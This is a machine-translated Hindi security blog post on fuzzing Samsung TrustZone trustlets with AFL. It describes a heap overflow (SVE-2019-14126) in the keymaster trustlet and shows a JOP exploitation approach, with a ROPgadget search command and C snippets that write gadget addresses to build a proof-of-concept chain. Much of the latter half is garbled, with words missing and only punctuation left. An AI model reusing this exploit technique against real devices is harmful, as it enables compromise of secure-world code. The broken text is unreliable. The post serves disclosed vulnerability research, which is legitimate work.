अब जब हमारे पुन: डिज़ाइन किए गए ट्रस्टलेट्स मूल एआरएम सिस्टम पर काम करते हैं, तो हमें उन पर गतिशील विश्लेषण उपकरण आज़माने की आवश्यकता है। बाइनरी फ़ाइलों के गतिशील विश्लेषण के तरीकों में डीबगिंग और डायनेमिक बाइनरी इंस्ट्रूमेंटेशन (डीबीआई) हैं। जीडीबी पहले के लिए बहुत अच्छा है। और दूसरे के लिए, बहुत सारे विकल्प नहीं हैं: एआरएम के तहत, अनिवार्य रूप से केवल तीन स्थिर डीबीआई फ्रेमवर्क हैं - डायनमोइरो, वेलग्रिंड, और फ्रिडा। पहले में त्रुटियों को ट्रेस करने और पकड़ने के लिए कई अच्छे उपकरण हैं, लेकिन ईएलएफ फ़ाइल लोडर, जिसे इसमें लागू किया गया है, हमारी फाइलों को लोड करने से सामना नहीं कर सका। Valgrind एक काफी शक्तिशाली ढांचा है, और इसमें स्मृति संचालन की निगरानी के लिए ट्रेसिंग और मेमचेक के लिए उपयुक्त उपकरण है। यह पता चला कि वे ऐसे परिणाम उत्पन्न करते हैं जो पार्स करने के लिए बहुत सुविधाजनक नहीं हैं, इसलिए वे कई फाइलों पर स्वचालित मोड में उपयोग के लिए उपयुक्त नहीं हैं। और हमारे पास फ्रिडा की कोशिश करने का समय नहीं था। यदि किसी को एआरएम पर लिनक्स का उपयोग करने का अनुभव था, तो टिप्पणियों में अपने इंप्रेशन लिखें।

जैसा कि आप देख सकते हैं, हम केवल डिबगर के साथ संतुष्ट हो सकते हैं। लेकिन gdb के लिए स्क्रिप्ट का उपयोग करना यहां तक कि यह पहले से ही हमारे काम को बहुत सरल करता है।

अंक # 5: पुस्तकालय के कार्य

एक और समस्या जो शुरू से स्पष्ट थी, वह थी लाइब्रेरी फ़ंक्शंस जो ट्रैस्टलेट का उपयोग करता है। हमने उन्हें स्टब्स के साथ प्रतिस्थापित किया, उन कार्यों के अपवाद के साथ जिन्हें लिबेक से समान के साथ बदला जा सकता है। जाहिर है, अगर ट्रैस्टलेट के तर्क में कुछ कोड इन स्टब फ़ंक्शंस में से किसी एक के परिणाम को संसाधित करता है, तो यह बहुत संभावना है कि यह दुर्घटनाग्रस्त हो जाएगा क्योंकि यह पूरी तरह से अलग डेटा की उम्मीद करता है, और यह जरूरी नहीं कि कोड में एक त्रुटि का मतलब होगा।

ऐसे कुछ कार्य हैं जिनके लिए किसी वास्तविक कार्य के व्यवहार का अनुकरण करना इतना आसान नहीं है:

tlApiSecSPICmd;
tlApi_callDriver;
tlApiWrapObjectExt;
tlApiUnWrapObjectExt;
tlApiCipherDoFinal;
tlApiSignatureSign;
...

इस तरह के संदिग्ध मामलों का अध्ययन करने में समय बर्बाद न करने के लिए, हमने बस इन मामलों का उपयोग करने वाले परीक्षण मामलों पर विचार नहीं करने का फैसला किया।

फ़ज़िंग परिणाम

स्वचालित मोड में, स्क्रिप्ट का उपयोग करके, हमने सभी ट्रस्टलेट्स पर निम्नलिखित जानकारी एकत्र की:

ट्रेलिड यूआईडी
दुर्घटना पहचानकर्ता;
त्रुटि का प्रकार (दुर्घटना के दौरान संकेत का प्रकार);
वह पता जहाँ त्रुटि होती है
Trastlet द्वारा उपयोग किए गए API फ़ंक्शन।

जैसा कि यह निकला, यह पूरी जानकारी डेटाबेस में डालना बहुत सुविधाजनक है, और फिर SQL प्रश्नों द्वारा विश्लेषण के लिए सबसे दिलचस्प मामलों का चयन करें और विश्लेषण परिणामों के आधार पर जानकारी जोड़ें।

उदाहरण के लिए, इस क्वेरी के साथ आप सभी परीक्षण मामलों को दिखा सकते हैं, जिन पर सेगमेंटेशन गलती होती है:

 select * from main where type = "SIGSEGV";

और tlApiSecSPICmd फ़ंक्शन का उपयोग करने वाले परीक्षण मामलों को फ़िल्टर करें, जिसे हमने स्टब के रूप में लागू किया है:

 select * from main where api not like "tlApiSecSPICmd";

इस प्रकार, सभी ट्रस्टलेट्स में विभिन्न प्रकार की त्रुटियां पाई गईं। उनमें से कुछ कमजोरियों के लिए नेतृत्व नहीं करते थे, लेकिन ऐसे भी थे जो कमजोरियां हैं और एक हमलावर द्वारा उपयोग किया जा सकता है। पाया कमजोरियों के सबसे दिलचस्प पर विचार करें।

SVE-2,019-14,126

DER नियमों के अनुसार एन्कोडेड ASN.1 संरचना को पार्स करते समय टीसीआई बफर की सामग्री को संसाधित करने के लिए कोडमास्टर ट्रस्टलेट में भेद्यता पाई गई थी। इस संरचना में दो क्षेत्रों को आयामों के रूप में उपयोग किया जाता है: एक जब गतिशील मेमोरी को आवंटित किया जाता है, और दूसरा इसे कॉपी करते समय। जाहिर है, अगर दूसरा आकार पहले की तुलना में बड़ा है, तो ढेर अतिप्रवाह होता है। इस तरह की भेद्यता आमतौर पर एक हमलावर द्वारा कोड निष्पादन की संभावना को जन्म देती है, इसलिए हमने इस भेद्यता के लिए एक पूर्ण शोषण करने की कोशिश की। शोषण की संभावना का आकलन करते समय, किसी को ऊपर सूचीबद्ध ट्रस्टों के सभी प्रतिबंधों को भी ध्यान में रखना चाहिए।

एक ढेर अतिप्रवाह और इन प्रतिबंधों के आधार पर, कोई व्यक्ति निम्नलिखित ऑपरेशन रणनीति की कल्पना कर सकता है:

पुनर्लेखन के लिए एक सुलभ जगह में कुछ फ़ंक्शन पॉइंटर ढूंढें, उदाहरण के लिए, .bs अनुभाग;
पाया अतिप्रवाह का उपयोग करके, इस जगह में ढेर मेमोरी ब्लॉक बनाएं;
;
.

, , , Kinibi. - mclib, ZeroCon, .

— .bss. , .bss . , , , , .

, .bss, .

, . , , , , .bss, . code-reuse.

ROP. , ROP, .bss. , , . , , . , , , .

ROP, JOP. JOP — Jump Oriented Programming. JOP .

JOP , ROPGadget. , JOP, :

 ROPgadget --binary tlrun --thumb --range 0x1000-0xbeb44 | grep -E "; b.+ r[0-9]+$"

! .

. ROP . , ROP- weird machine , . JOP , . ARM, , , — LDMIA (Load Memory Increment Address).

, , , , . , . JOP!

LDMIA . - capstone, ROPGadget, LDMLO.

! . , , . stack cookie , .

 *(int*)&mem1[offset] = SUPER_GADGET; // r2 *(int*)&mem1[offset + 4] = 0; // r3 *(int*)&mem1[offset + 8] = 0; // r4 *(int*)&mem1[offset + 12] = SUPER_GADGET; // r5 *(int*)&mem1[offset + 16] = 0x9560b; // r7 offset += 0x14; *(int*)&mem1[offset] = 0; // r2 *(int*)&mem1[offset + 4] = 0; // r3 *(int*)&mem1[offset + 8] = 0; // r4 *(int*)&mem1[offset + 12] = 0; // r5 *(int*)&mem1[offset + 16] = 0x96829; // r7 offset += 0x14; *(int*)&mem1[offset] = SUPER_GADGET; // r2 *(int*)&mem1[offset + 4] = 0; // r3 *(int*)&mem1[offset + 8] = 0x3d5f4; // r4 *(int*)&mem1[offset + 12] = mapInfo3.sVirtualAddr; // r5 *(int*)&mem1[offset + 16] = 0x218c7; // r7

Hello, world .

 strcpy(mem3 + 0x100, "Hello world from TEE!\n"); *(int*)&mem1[offset] = 0x7d081b1; // r2 *(int*)&mem1[offset + 4] = 0; // r3 *(int*)&mem1[offset + 8] = mapInfo3.sVirtualAddr + 0x100; // r4 *(int*)&mem1[offset + 12] = 0; // r5 *(int*)&mem1[offset + 16] = 0x9545b; // r7

"Hello, world!" , , , keymaster, , . , . , Gal Beniamini TEE Qualcomm , , offline- Android. TEE OS EL-3, .

निष्कर्ष

ARM TrustZone , . Secure World Android, . , , Samsung bug bounty TrustZone, .

AFL qemu, "" . . , . !

सैमसंग ट्रस्टज़ोन में कमजोरियों के लिए खोजें, या एएफएल फ़ज़ सभी